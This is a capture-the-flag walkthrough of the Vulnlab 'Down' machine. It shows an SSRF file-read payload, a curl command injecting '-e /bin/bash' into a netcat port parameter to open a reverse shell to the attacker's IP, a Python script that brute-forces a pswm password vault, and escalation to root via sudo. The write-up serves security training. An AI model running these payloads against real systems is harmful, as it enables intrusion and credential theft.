Vulnlab - Down

Post image

Introduction

This post details the exploitation of a vulnerable web application allowing Server-Side Request Forgery (SSRF) to gain initial access, followed by privilege escalation to root on a Linux server.

Nmap

The Nmap scan revealed the following services:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?

Key findings:

  • SSH on port 22 (OpenSSH 8.9p1).
  • HTTP on port 80 serving a website titled "Is it down or just me?".

Enumeration

Discovering SSRF Vulnerability

The website's functionality allowed users to test whether a URL was online. Testing revealed an SSRF vulnerability in the url parameter, enabling file access using a crafted payload.

Payload for Local File Access

Curl allows requests to be made to several resources in the same command, separating them by a space. Knowing that the payload exploited the application by combining a valid HTTP URL with a local file path:

url=http://127.0.0.1/+file:///var/www/html/index.php

Discovering Source Code

The /var/www/html/index.php file disclosed the application's PHP source code, revealing two functionalities:

  1. Basic mode (url parameter): Uses curl to fetch the provided URL.
  2. Expert mode (expertmode=tcp): Accepts an IP and port, then uses Netcat to test the connection.

Key vulnerability:

$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);

This code allowed command injection via the port parameter. By appending -e /bin/bash to the port, a reverse shell was executed.

Exploitation

Gaining a Reverse Shell

A crafted POST request triggered the vulnerability. A Netcat listener on the attacker's machine captured the reverse shell:

Listener Setup:

└─$ nc -lnvp 8787

Exploit Execution:

└─$ curl -X POST 'http://10.10.125.80/?expertmode=tcp' -d 'ip=10.8.4.110&port=8787+-e+/bin/bash'

Shell Access:

└─$ nc -lnvp 8787                        
listening on [any] 8787 ...
connect to [10.8.4.110] from (UNKNOWN) [10.10.125.80] 41060
python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@down:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User Flag

The reverse shell provided access to the web server's files, including the user flag:

www-data@down:/var/www/html$ ls
index.php  logo.png  style.css  user_aeT1xa.txt
www-data@down:/var/www/html$ cat user_aeT1xa.txt
VL{CENSORED}

Post-Exploitation

Privilege Escalation to aleks

Discovering Encrypted Passwords

Inside /home/aleks/.local/share/pswm, an encrypted file named pswm was found. Research revealed that pswm is a Python-based password manager. Its decryption function was available on GitHub.

Using the GitHub code, a custom script was written to brute-force the encryption with a wordlist:

Brute-Force Script:

import cryptocode

encrypted_text = "e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ=="
wordlist = "/usr/share/wordlists/rockyou.txt"

with open(wordlist, "r", errors='ignore') as wlist:
        words = wlist.readlines()
        i = 0
        total = len(words)
        for word in words:
                i += 1
                decrypted = cryptocode.decrypt(encrypted_text, word.strip())
                if decrypted:
                        print(f"\rMaster password: {word}")
                        print(decrypted)
                        exit(1)
                else:
                        print(f"\rTrying {i} of {total}", end="")
        print("\rPassword not found :(")

Decrypting the File:

└─$ python3 cracker.py
Master password: flower

pswm    aleks   flower
aleks@down      aleks   1uY3w22uc-Wr{xNHR~+E

The decrypted credentials were:

  • Username: aleks
  • Password: 1uY3w22uc-Wr{xNHR~+E

Logging in via SSH

The credentials allowed SSH access to the server:

└─$ ssh aleks@10.10.125.80
The authenticity of host '10.10.125.80 (10.10.125.80)' can't be established.
ED25519 key fingerprint is SHA256:uq3+WwrPajXEUJC3CCuYMMlFTVM8CGYqMtGB9mI29wg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.125.80' (ED25519) to the list of known hosts.
aleks@10.10.125.80's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
Last login: Sun Sep 15 09:14:52 2024 from 10.8.0.101
aleks@down:~$

Privilege Escalation to root

Sudo Privileges

The user aleks had unrestricted sudo privileges:

aleks@down:~$ sudo -l
[sudo] password for aleks: 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

Root Access

Using sudo su, root privileges were gained, and the root flag was retrieved:

aleks@down:~$ sudo su
root@down:/home/aleks# id
uid=0(root) gid=0(root) groups=0(root)
root@down:/home/aleks# cd
root@down:~# cat root.txt 
VL{CENSORED}